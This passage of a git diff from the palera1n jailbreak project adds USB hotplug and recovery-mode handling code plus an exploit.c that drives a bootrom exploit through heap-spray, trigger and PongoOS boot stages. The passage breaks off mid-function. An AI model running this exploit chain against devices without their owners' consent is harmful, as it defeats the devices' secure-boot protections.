} + publish_state(); +} + +static void remove_device(platform_service_t service, DeviceMode mode, uint32_t target_device_id = 0, const std::string& target_udid = "") { + bool changed = false; + { + std::lock_guard lock(g_mutex); + + auto it = std::find_if(g_devices.begin(), g_devices.end(), [&](const auto& pair) { + if (service != IO_OBJECT_NULL) { + #if !defined(__APPLE__) && defined(WITH_CIDERRAIN) + return pair.second.handle.handle == service; + #else + return pair.second.handle.serv == service; + #endif + } + if (mode == DeviceMode::Normal) { + if (!target_udid.empty()) return pair.second.state.udid == target_udid; + if (target_device_id != 0) return pair.second.device_id == target_device_id; + return pair.second.normalPresent; + } + switch (mode) { + case DeviceMode::Recovery: return pair.second.recoveryPresent; + case DeviceMode::DFU: return pair.second.dfuPresent; + default: return false; + } + }); + + if (it != g_devices.end()) { + auto& [ecid, m] = *it; + + if (mode == DeviceMode::Normal) { + m.normalPresent = false; + m.usbmuxd_device.reset(); + } else if (mode == DeviceMode::Recovery) { + m.recoveryPresent = false; + } else if (mode == DeviceMode::DFU) { + m.dfuPresent = false; + } + + if (!m.normalPresent && !m.recoveryPresent && !m.dfuPresent) { + release_handle(m.handle); + g_devices.erase(it); + } + changed = true; + } + } + if (changed) publish_state(); +} + +void usbmuxd_listener_worker() { + std::unordered_map known_normal_devices; + + for (;;) { + std::this_thread::sleep_for(std::chrono::milliseconds(500)); + + std::unordered_map current_devices; + std::vector usb_only_devices; + + auto conn_res = IdeviceFFI::UsbmuxdConnection::default_new(0); + if (conn_res.is_ok()) { + auto devices_res = std::move(conn_res).unwrap().get_devices(); + if (devices_res.is_ok()) { + auto current_dev_list = std::move(devices_res).unwrap(); + usb_only_devices.reserve(current_dev_list.size()); + + for (auto& dev : current_dev_list) { + auto conn_type_opt = dev.get_connection_type(); + if (conn_type_opt.is_none() || conn_type_opt.unwrap().to_string() != "USB") { + continue; + } + + auto id_opt = dev.get_id(); + auto udid_opt = dev.get_udid(); + if (id_opt.is_some() && udid_opt.is_some()) { + current_devices[id_opt.unwrap()] = udid_opt.unwrap(); + usb_only_devices.push_back(std::move(dev)); + } + } + } + } + + for (auto it = known_normal_devices.begin(); it != known_normal_devices.end();) { + if (current_devices.find(it->first) == current_devices.end()) { + uint32_t removed_id = it->first; + std::string removed_udid = it->second; + it = known_normal_devices.erase(it); + remove_device(IO_OBJECT_NULL, DeviceMode::Normal, removed_id, removed_udid); + } else { + ++it; + } + } + + for (auto& dev : usb_only_devices) { + uint32_t id = dev.get_id().unwrap(); + + if (known_normal_devices.find(id) == known_normal_devices.end()) { + DeviceState discovered; + if (build_normal_state(dev, discovered)) { + if (discovered.ecid == 0) continue; + + known_normal_devices[id] = dev.get_udid().unwrap(); + + { + std::lock_guard lock(g_mutex); + ManagedDevice& m = g_devices[discovered.ecid]; + + release_handle(m.handle); + + m.state = discovered; + m.normalPresent = true; + m.recoveryPresent = false; + m.dfuPresent = false; + m.device_id = id; + + m.usbmuxd_device = std::make_unique(std::move(dev)); + } + publish_state(); + } + } + } + } +} + +static void hotplug_callback(hotplug_event_t event, hotplug_handle_t handle) { + #if !defined(__APPLE__) && defined(WITH_CIDERRAIN) + platform_service_t srv = handle.handle; + #else + platform_service_t srv = handle.serv; + #endif + + switch (event) { + case HOTPLUG_EVENT_DFU_ADD: handle_other_add(handle, DeviceMode::DFU, false); break; + case HOTPLUG_EVENT_DFU_REMOVE: remove_device(srv, DeviceMode::DFU); break; + case HOTPLUG_EVENT_RECOVERY_ADD: handle_other_add(handle, DeviceMode::Recovery, true); break; + case HOTPLUG_EVENT_RECOVERY_REMOVE: remove_device(srv, DeviceMode::Recovery); break; + } +} + +void recovery_listener_worker() { + if (!start_hotplug_monitoring(hotplug_callback)) return; + #ifdef __APPLE__ + CFRunLoopRun(); + #elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN) + std::unique_lock lock(g_mutex); + g_recoveryRunning = true; + g_recoveryCv.wait(lock, [] { return !g_recoveryRunning; }); + #endif +} + +} // namespace + +void register_device_state_callback(DeviceStateCallback cb) { + if (!cb) return; + DeviceState snapshot; + { + std::lock_guard lock(g_mutex); + g_callbacks.push_back(cb); + snapshot = build_public_state_locked(); + } + cb(snapshot); +} + +void ensure_device_event_system_started() { + std::call_once(g_startOnce, []() { + std::thread(usbmuxd_listener_worker).detach(); + std::thread(recovery_listener_worker).detach(); + }); +} + +bool enter_recovery() { + uint32_t device_id = 0; + std::string udid_str = ""; + + { + std::lock_guard lock(g_mutex); + if (g_activeEcid == 0) return false; + + auto it = g_devices.find(g_activeEcid); + if (it == g_devices.end() || it->second.state.mode != DeviceMode::Normal) return false; + + device_id = it->second.device_id; + udid_str = it->second.state.udid; + } + + auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery"); + if (prov_res.is_err()) return false; + auto prov = std::move(prov_res).unwrap(); + + auto lockdown_res = IdeviceFFI::Lockdown::connect(prov); + if (lockdown_res.is_err()) return false; + auto session = std::move(lockdown_res).unwrap(); + + auto pf_res = prov.get_pairing_file(); + if (pf_res.is_ok()) { + (void)session.start_session(pf_res.unwrap()); + } + + auto res = session.enter_recovery(); + return res.is_ok(); +} + +void exit_recovery() { + hotplug_handle_t handle; + std::memset(&handle, 0, sizeof(handle)); + { + std::lock_guard lock(g_mutex); + if (g_activeEcid == 0) return; + + auto it = g_devices.find(g_activeEcid); + if (it == g_devices.end() || it->second.state.mode != DeviceMode::Recovery) return; + + handle = it->second.handle; + } + exit_recovery(handle); +} + +#endif // WITH_GUI || WITH_TUI diff --git a/src/events/event.hpp b/src/events/event.hpp new file mode 100644 index 0000000..158d1a5 --- /dev/null +++ b/src/events/event.hpp @@ -0,0 +1,72 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#if defined(WITH_GUI) || defined(WITH_TUI) + +#ifndef EVENT_H +#define EVENT_H + +#include +#include +#include + +#ifdef WITH_GUI +# include +#endif + +enum class DeviceMode +{ + None, + Normal, + Recovery, + DFU +}; + +struct DeviceState +{ + bool connected = false; + bool isSupported = false; + bool multipleDevices = false; + DeviceMode mode = DeviceMode::None; + std::string productVersion; + std::string productType; + std::string displayName; + uint64_t ecid = 0; + std::string udid; + uint32_t connectedDeviceCount = 0; +}; + +using DeviceStateCallback = std::function; + +void register_device_state_callback(DeviceStateCallback cb); +void ensure_device_event_system_started(); +bool enter_recovery(); +void exit_recovery(); + +#endif // EVENT_H + +#endif // WITH_GUI || WITH_TUI diff --git a/src/events/ra1ncovery/hotplug.cpp b/src/events/ra1ncovery/hotplug.cpp new file mode 100644 index 0000000..0769ecc --- /dev/null +++ b/src/events/ra1ncovery/hotplug.cpp @@ -0,0 +1,419 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#if defined(WITH_GUI) || defined(WITH_TUI) + +#include "hotplug.hpp" +#include +#include +#include +#include +#include +#include + +constexpr int32_t APPLE_VID = 0x05AC; +constexpr int32_t PID_DFU = 0x1227; +constexpr int32_t PID_RECOVERY_1 = 0x1280; +constexpr int32_t PID_RECOVERY_2 = 0x1281; +constexpr int32_t PID_RECOVERY_3 = 0x1282; +constexpr int32_t PID_RECOVERY_4 = 0x1283; + +static const std::vector TARGET_PIDS = { + PID_DFU, PID_RECOVERY_1, PID_RECOVERY_2, PID_RECOVERY_3, PID_RECOVERY_4 +}; + +static hotplug_callback_t gUserCallback = nullptr; + +static bool is_target_pid(int32_t pid) { + return std::find(TARGET_PIDS.begin(), TARGET_PIDS.end(), pid) != TARGET_PIDS.end(); +} + +static hotplug_event_t get_hotplug_event(int32_t pid, bool arrived) { + if (pid == PID_DFU) { + return arrived ? HOTPLUG_EVENT_DFU_ADD : HOTPLUG_EVENT_DFU_REMOVE; + } + return arrived ? HOTPLUG_EVENT_RECOVERY_ADD : HOTPLUG_EVENT_RECOVERY_REMOVE; +} + +// MARK: IOKit + +#if __APPLE__ +# include + +static IONotificationPortRef gNotifyPort = nullptr; +static std::vector gIterators; +static CFRunLoopSourceRef gRunLoopSource = nullptr; + +static void process_device_iterator(void *refcon, io_iterator_t iterator, bool arrived) { + int32_t pid = static_cast(reinterpret_cast(refcon)); + io_service_t device; + + while ((device = IOIteratorNext(iterator))) { + if (gUserCallback) { + hotplug_handle_t handle = { device, nullptr }; + + if (arrived) { + IOCFPlugInInterface **plugIn = nullptr; + SInt32 score = 0; + if (IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugIn, &score) == kIOReturnSuccess && plugIn) { + (*plugIn)->QueryInterface(plugIn, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID320), (LPVOID *)&handle.device); + IODestroyPlugInInterface(plugIn); + } + } + + gUserCallback(get_hotplug_event(pid, arrived), handle); + + if (handle.device) { + (*handle.device)->Release(handle.device); + } + } + IOObjectRelease(device); + } +} + +static void device_added_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, true); } +static void device_removed_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, false); } + +static bool register_pid_node(int32_t pid) { + void* refcon = reinterpret_cast(static_cast(pid)); + CFNumberRef vid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &APPLE_VID); + CFNumberRef pid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid); + + auto setup_notification = [&](const char* notification_type, void (*cb)(void*, io_iterator_t)) -> bool { + CFMutableDictionaryRef match = IOServiceMatching(kIOUSBDeviceClassName); + CFDictionarySetValue(match, CFSTR(kUSBVendorID), vid_num); + CFDictionarySetValue(match, CFSTR(kUSBProductID), pid_num); + + io_iterator_t iter = IO_OBJECT_NULL; + if (IOServiceAddMatchingNotification(gNotifyPort, notification_type, match, cb, refcon, &iter) == KERN_SUCCESS && iter != IO_OBJECT_NULL) { + cb(refcon, iter); + gIterators.push_back(iter); + return true; + } + return false; + }; + + bool ok = setup_notification(kIOFirstMatchNotification, device_added_callback) && + setup_notification(kIOTerminatedNotification, device_removed_callback); + + CFRelease(vid_num); + CFRelease(pid_num); + return ok; +} + +bool start_hotplug_monitoring(hotplug_callback_t callback) { + if (gNotifyPort != nullptr) return true; + if (!callback) return false; + + gUserCallback = callback; + gNotifyPort = IONotificationPortCreate(MACH_PORT_NULL); + if (!gNotifyPort) return false; + + gRunLoopSource = IONotificationPortGetRunLoopSource(gNotifyPort); + CFRunLoopAddSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode); + + for (int32_t pid : TARGET_PIDS) register_pid_node(pid); + return true; +} + +void stop_hotplug_monitoring(void) { + if (!gNotifyPort) return; + if (gRunLoopSource) { + CFRunLoopRemoveSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode); + gRunLoopSource = nullptr; + } + for (io_iterator_t iter : gIterators) { + if (iter != IO_OBJECT_NULL) IOObjectRelease(iter); + } + gIterators.clear(); + IONotificationPortDestroy(gNotifyPort); + gNotifyPort = nullptr; + gUserCallback = nullptr; +} + +bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) { + if (handle.serv == IO_OBJECT_NULL || !buffer || maxLen == 0) return false; + + CFTypeRef serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("USB Serial Number"), kCFAllocatorDefault, 0); + if (!serialProp) serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("Serial Number"), kCFAllocatorDefault, 0); + if (!serialProp) return false; + + bool success = false; + if (CFGetTypeID(serialProp) == CFStringGetTypeID()) { + success = CFStringGetCString(static_cast(serialProp), buffer, static_cast(maxLen), kCFStringEncodingUTF8); + } + CFRelease(serialProp); + return success; +} + +static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) { + if (!handle.device || (*handle.device)->USBDeviceOpen(handle.device) != kIOReturnSuccess) return false; + + IOUSBDevRequest request = { bmRequestType, bRequest, wValue, wIndex, wLength, data }; + kern_return_t kr = (*handle.device)->DeviceRequest(handle.device, &request); + (*handle.device)->USBDeviceClose(handle.device); + return (kr == kIOReturnSuccess); +} + +// MARK: Libusb + +#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN) + +static libusb_context *gCtx = nullptr; +static std::vector gCallbackHandles; +static std::thread gEventThread; +static std::atomic gRunning{false}; + +static int LIBUSB_CALL hotplug_callback(libusb_context *ctx, libusb_device *dev, libusb_hotplug_event event, void *user_data) { + (void)ctx; (void)user_data; + + struct libusb_device_descriptor desc; + if (libusb_get_device_descriptor(dev, &desc) != LIBUSB_SUCCESS || desc.idVendor != APPLE_VID || !is_target_pid(desc.idProduct)) return 0; + + if (gUserCallback) { + libusb_ref_device(dev); + std::thread([dev, event, desc]() { + hotplug_handle_t handle = { dev, nullptr }; + bool arrived = (event == LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED); + gUserCallback(get_hotplug_event(desc.idProduct, arrived), handle); + libusb_unref_device(dev); + }).detach(); + } + return 0; +} + +bool start_hotplug_monitoring(hotplug_callback_t callback) { + if (gCtx != nullptr) return true; + if (!callback || libusb_init(&gCtx) != LIBUSB_SUCCESS) return false; + + if (!libusb_has_capability(LIBUSB_CAP_HAS_HOTPLUG)) { + libusb_exit(gCtx); + gCtx = nullptr; + return false; + } + + gUserCallback = callback; + gRunning = true; + gEventThread = std::thread([]() { + while (gRunning) libusb_handle_events_completed(gCtx, nullptr); + }); + + libusb_hotplug_callback_handle cb_handle; + int rc = libusb_hotplug_register_callback( + gCtx, static_cast(LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED | LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT), + LIBUSB_HOTPLUG_ENUMERATE, APPLE_VID, LIBUSB_HOTPLUG_MATCH_ANY, LIBUSB_HOTPLUG_MATCH_ANY, + hotplug_callback, nullptr, &cb_handle + ); + + if (rc == LIBUSB_SUCCESS) { + gCallbackHandles.push_back(cb_handle); + return true; + } + stop_hotplug_monitoring(); + return false; +} + +void stop_hotplug_monitoring(void) { + if (!gCtx) return; + for (auto cb_handle : gCallbackHandles) libusb_hotplug_deregister_callback(gCtx, cb_handle); + gCallbackHandles.clear(); + + gRunning = false; + libusb_unref_device(nullptr); + + if (gEventThread.joinable()) gEventThread.join(); + libusb_exit(gCtx); + gCtx = nullptr; + gUserCallback = nullptr; +} + +bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) { + if (!handle.serv || !buffer || maxLen == 0) return false; + + struct libusb_device_descriptor desc; + if (libusb_get_device_descriptor(handle.serv, &desc) != LIBUSB_SUCCESS || desc.iSerialNumber == 0) return false; + + libusb_device_handle *dev_handle = nullptr; + if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false; + + int rc = libusb_get_string_descriptor_ascii(dev_handle, desc.iSerialNumber, reinterpret_cast(buffer), static_cast(maxLen)); + libusb_close(dev_handle); + return (rc > 0); +} + +static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) { + if (!handle.serv) return false; + + libusb_device_handle *dev_handle = handle.device; + bool must_close = false; + + if (!dev_handle) { + if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false; + must_close = true; + } + + int transferred = libusb_control_transfer( + dev_handle, bmRequestType, bRequest, wValue, wIndex, + reinterpret_cast(data), wLength, 1000 + ); + + if (must_close && dev_handle) { + libusb_close(dev_handle); + } + + return transferred >= 0; +} + +// MARK: Liteusb + +#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN) + +# include +# include +# include + +struct PersistentDeviceContext { + liteusb_device_t device; + liteusb_handle_t* session = nullptr; +}; + +static std::thread gHotplugThread; +static std::atomic gHotplugRunning{false}; +static std::map> gConnectedDevices; + +static void hotplug_polling_worker() { + liteusb_init(LITEUSB_FLAG_NONE); + + while (gHotplugRunning) { + liteusb_query_t *query = nullptr; + if (liteusb_query_devices(&query) != LITEUSB_ERR_SUCCESS || !query) { + std::this_thread::sleep_for(std::chrono::milliseconds(250)); + continue; + } + + std::set active_paths; + + for (uint32_t i = 0; i < query->count; i++) { + const auto& dev = query->list[i]; + if (dev.vid != APPLE_VID || !is_target_pid(dev.pid) || !dev.sysfs_path) continue; + + std::string path(dev.sysfs_path); + active_paths.insert(path); + + if (gConnectedDevices.find(path) == gConnectedDevices.end()) { + auto ctx = std::make_unique(); + ctx->device = dev; + + if (liteusb_open_handle(&ctx->device, &ctx->session) == LITEUSB_ERR_SUCCESS) { + auto* ctx_ptr = ctx.get(); + gConnectedDevices[path] = std::move(ctx); + + if (gUserCallback) { + gUserCallback(get_hotplug_event(ctx_ptr->device.pid, true), { reinterpret_cast(ctx_ptr) }); + } + } + } + } + + for (auto it = gConnectedDevices.begin(); it != gConnectedDevices.end(); ) { + if (active_paths.find(it->first) == active_paths.end()) { + if (gUserCallback) { + gUserCallback(get_hotplug_event(it->second->device.pid, false), { reinterpret_cast(it->second.get()) }); + } + if (it->second->session) liteusb_close_handle(it->second->session); + it = gConnectedDevices.erase(it); + } else { + ++it; + } + } + + liteusb_release_query(query); + std::this_thread::sleep_for(std::chrono::milliseconds(250)); + } +} + +bool start_hotplug_monitoring(hotplug_callback_t callback) { + if (gHotplugRunning) return true; + if (!callback) return false; + + gUserCallback = callback; + gHotplugRunning = true; + gHotplugThread = std::thread(hotplug_polling_worker); + return true; +} + +void stop_hotplug_monitoring(void) { + if (!gHotplugRunning) return; + + gHotplugRunning = false; + if (gHotplugThread.joinable()) gHotplugThread.join(); + + for (const auto& [path, ctx] : gConnectedDevices) { + if (ctx->session) liteusb_close_handle(ctx->session); + } + gConnectedDevices.clear(); + gUserCallback = nullptr; +} + +bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) { + auto* ctx = reinterpret_cast(handle.handle); + if (!ctx || !ctx->session || !buffer || maxLen == 0) return false; + + char *serial_num = nullptr; + bool success = false; + + if (liteusb_get_device_serial_num(ctx->session, &serial_num) == LITEUSB_ERR_SUCCESS && serial_num) { + success = ((size_t)snprintf(buffer, maxLen, "%s", serial_num) < maxLen); + free(serial_num); + } + return success; +} + +static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) { + auto* ctx = reinterpret_cast(handle.handle); + if (!ctx || !ctx->session) return false; + + uint32_t transferred = 0; + return liteusb_immediate_ctrl_transfer( + ctx->session, bmRequestType, bRequest, wValue, wIndex, + reinterpret_cast(data), wLength, 5000, &transferred + ) == LITEUSB_ERR_SUCCESS; +} + +#endif + +void exit_recovery(hotplug_handle_t handle) { + char cmd1[] = "setenv auto-boot true"; + char cmd2[] = "saveenv"; + char cmd3[] = "reboot"; + + send_usb_control_request(handle, 0x40, 0, 0, 0, cmd1, sizeof(cmd1)); + send_usb_control_request(handle, 0x40, 0, 0, 0, cmd2, sizeof(cmd2)); + send_usb_control_request(handle, 0x40, 0, 0, 0, cmd3, sizeof(cmd3)); +} + +#endif // WITH_GUI || WITH_TUI diff --git a/src/events/ra1ncovery/hotplug.hpp b/src/events/ra1ncovery/hotplug.hpp new file mode 100644 index 0000000..d1ba5a6 --- /dev/null +++ b/src/events/ra1ncovery/hotplug.hpp @@ -0,0 +1,82 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#if defined(WITH_GUI) || defined(WITH_TUI) + +#ifndef MAIN__HOTPLUG_HPP +#define MAIN__HOTPLUG_HPP + +#include +#include + +#ifdef __APPLE__ +# include +# include +# include +#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN) +# include +#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN) +# include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + HOTPLUG_EVENT_DFU_ADD, + HOTPLUG_EVENT_DFU_REMOVE, + HOTPLUG_EVENT_RECOVERY_ADD, + HOTPLUG_EVENT_RECOVERY_REMOVE +} hotplug_event_t; + +typedef struct { +#ifdef __APPLE__ + io_service_t serv; + IOUSBDeviceInterface320 **device; +#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN) + libusb_device *serv; + libusb_device_handle *device; +#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN) + liteusb_handle_t *handle; +#endif +} hotplug_handle_t; + +typedef void (*hotplug_callback_t)(hotplug_event_t event, hotplug_handle_t handle); + +bool start_hotplug_monitoring(hotplug_callback_t callback); +void stop_hotplug_monitoring(void); +bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen); +void exit_recovery(hotplug_handle_t handle); + +#ifdef __cplusplus +} +#endif + +#endif // MAIN__HOTPLUG_HPP + +#endif // WITH_GUI || WITH_TUI diff --git a/src/exploit.c b/src/exploit.c new file mode 100644 index 0000000..e24400b --- /dev/null +++ b/src/exploit.c @@ -0,0 +1,389 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#include "exploit.h" + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "globals.h" +#include "paleinfo.h" +#include "pongo_helper.h" + +#if WITH_CIDERRAIN +# include +# include +# include +# include +# include +#else +# include +# include +# include +# include +# include +#endif + +#define VID_APPLE (0x5AC) +#define PID_PONGO (0x4141) +#define PID_DFU (0x1227) + +const char* stage_to_string(int stage) +{ + switch (stage) { + case STAGE_SETUP: return "Checking if device is ready..."; + case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)..."; + case STAGE_PATCH: return "Right before trigger (this is the real bug setup)..."; + case STAGE_YOLODFU: return "Booting PongoOS..."; + case STAGE_PONGO: return "Booting..."; + case STAGE_DONE: return "Done!"; + default: return "Waiting..."; + } +} + +int stage_to_progress(int stage) +{ + switch (stage) { + case STAGE_SETUP: return 30; + case STAGE_SPRAY: return 40; + case STAGE_PATCH: return 50; + case STAGE_YOLODFU: return 60; + case STAGE_PONGO: return 70; + case STAGE_DONE: return 100; + default: return 0; + } +} + +const char* err_to_string(int err) { + switch (err) { + case 0: return ""; + case 1: return "-p1_client_err_abort_success"; + case 2: return "-p1_client_err_unsupported"; + case 3: return "-p1_client_err_response_size"; + case 4: return "-p1_client_err_abort"; + case 5: return "-p1_client_err_timeout"; + case 6: return "-p1_client_err_pipe_stalled"; + case 7: return "-p1_client_err_no_device"; + case 8: return "-p1_client_err_notresponding"; + case 9: return "-p1_client_err_invalid_response"; + case 10: return "-p1_client_err_async_download_failed"; + case 11: return "-p1_client_err_transaction_abort_failed"; + case 12: return "-p1_client_err_status"; + case 13: return "-p1_client_err_not_dfu_idle"; + case 14: return "-p1_client_err_no_stage1_generator"; + case 15: return "-p1_client_err_invalid_payload"; + case 16: return "-p1_client_err_no_image"; + case 17: return "-p1_client_err_not_dfu"; + case 18: return "-p1_client_err_soft_dfu"; + case 19: return "-p1_client_err_cnt_overflow"; + default: return "-p1_client_err_undefined"; + } +} + +#if WITH_CIDERRAIN + +int exploit(int *stage) +{ + LOG("Waiting for devices..."); + + *stage = STAGE_RESET; + + client_t* client = NULL; + if (!alloc_usb_client(&client)) { + *stage = STAGE_ERROR; + return RA1N_CLIENT_ERR_UNDEFINED; + } + + ra1n_client_err_t cr = RA1N_CLIENT_ERR_NONE; + + uint32_t flag = 0; + uint16_t cpid = 0; + + for (;;) { + if (usb_open(client) != 0) { + // no usb device + // slight delay is required for AMD + usleep(500000); + goto reloop; + } + + if (!usb_get_client_flag(client, &flag)) + goto reloop; + + if (flag & kDeviceDFUModeFlag) { + if (flag & kDeviceStandardPwnedDFUModeFlag) { + LOG_ERROR("Found an unknown pwned DFU mode device"); + usb_close(client); + *stage = STAGE_ERROR; + continue; // err + } + + if (flag & kDevicePwnedDFUModeFlag) { + LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode."); + usb_close(client); + *stage = STAGE_ERROR; + continue; // err + } + + if (!(flag & kDeviceNotSoftDFUModeFlag)) { + LOG_ERROR("Found soft-DFU mode device"); + usb_close(client); + *stage = STAGE_ERROR; + break; // err + } + + LOG("Found DFU mode device"); + + if (*stage == STAGE_RESET) { + cr = ra1n_stage_reset(client); + if (cr == RA1N_CLIENT_ERR_NONE || cr == RA1N_CLIENT_ERR_ABORT_SUCCESS || cr == RA1N_CLIENT_ERR_NOTRESPONDING) { + usb_reset(client, kUSBResetDevice | kUSBReEnumerate); + usb_close(client); + if (cr == RA1N_CLIENT_ERR_NONE) { // success + *stage = STAGE_SETUP; + } + continue; + } + LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + usb_close(client); + *stage = STAGE_ERROR; + break; // err + } else if (*stage == STAGE_SETUP) { + cr = ra1n_stage_setup(client); + if (cr == RA1N_CLIENT_ERR_NONE) { // success + usb_reset(client, kUSBResetDevice | kUSBReEnumerate); + usb_close(client); + *stage = STAGE_PATCH; + continue; + } + LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + usb_close(client); + *stage = STAGE_ERROR; + break; // err + } else if (*stage == STAGE_PATCH) { + cr = ra1n_stage_trigger(client, NULL); + if (cr == RA1N_CLIENT_ERR_NONE) { // exploited + usb_reset(client, kUSBResetDevice | kUSBReEnumerate); + usb_close(client); + *stage = STAGE_YOLODFU; + LOG("Checkmate?"); + continue; + } + LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + 